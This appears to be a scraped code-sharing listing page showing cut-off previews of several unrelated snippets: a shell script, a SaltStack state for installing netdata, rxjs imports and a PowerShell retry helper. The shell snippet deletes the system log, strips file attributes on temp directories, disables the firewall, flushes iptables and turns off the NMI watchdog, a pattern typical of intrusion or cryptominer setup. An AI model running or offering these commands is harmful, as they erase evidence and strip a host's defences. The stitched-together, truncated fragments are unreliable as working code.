Also, here is the list of all videos from NDC Oslo 2017:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/bin/sh | |
ulimit -n 65535 | |
rm -rf /var/log/syslog | |
chattr -iua /tmp/ | |
chattr -iua /var/tmp/ | |
ufw disable | |
iptables -F | |
echo "nope" >/tmp/log_rot | |
sudo sysctl kernel.nmi_watchdog=0 | |
echo '0' >/proc/sys/kernel/nmi_watchdog |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Saltstate to install netdata + requirements, tries to update netdata every time this state is applied | |
# original by https://github.com/saivert: https://github.com/firehol/netdata/issues/798#issuecomment-242472276 | |
# modified to work on ubuntu 14.04 and 16.04 by https://github.com/peterrus | |
netdatarequisites: | |
pkg.installed: | |
- pkgs: | |
{% if grains['os'] == 'Gentoo' %} | |
- sys-devel/autoconf | |
- sys-devel/autoconf-archive |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { TimeoutError, timer } from 'rxjs' | |
import { AjaxTimeoutError } from 'rxjs/ajax' | |
import { | |
delay, | |
filter, | |
flatMap, | |
repeatWhen, | |
retryWhen, | |
scan, | |
timeout, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
This function can be used to pass a ScriptBlock (closure) to be executed and returned. | |
The operation retried a few times on failure, and if the maximum threshold is surpassed, the operation fails completely. | |
Params: | |
Command - The ScriptBlock to be executed | |
RetryDelay - Number (in seconds) to wait between retries | |
(default: 5) | |
MaxRetries - Number of times to retry before accepting failure |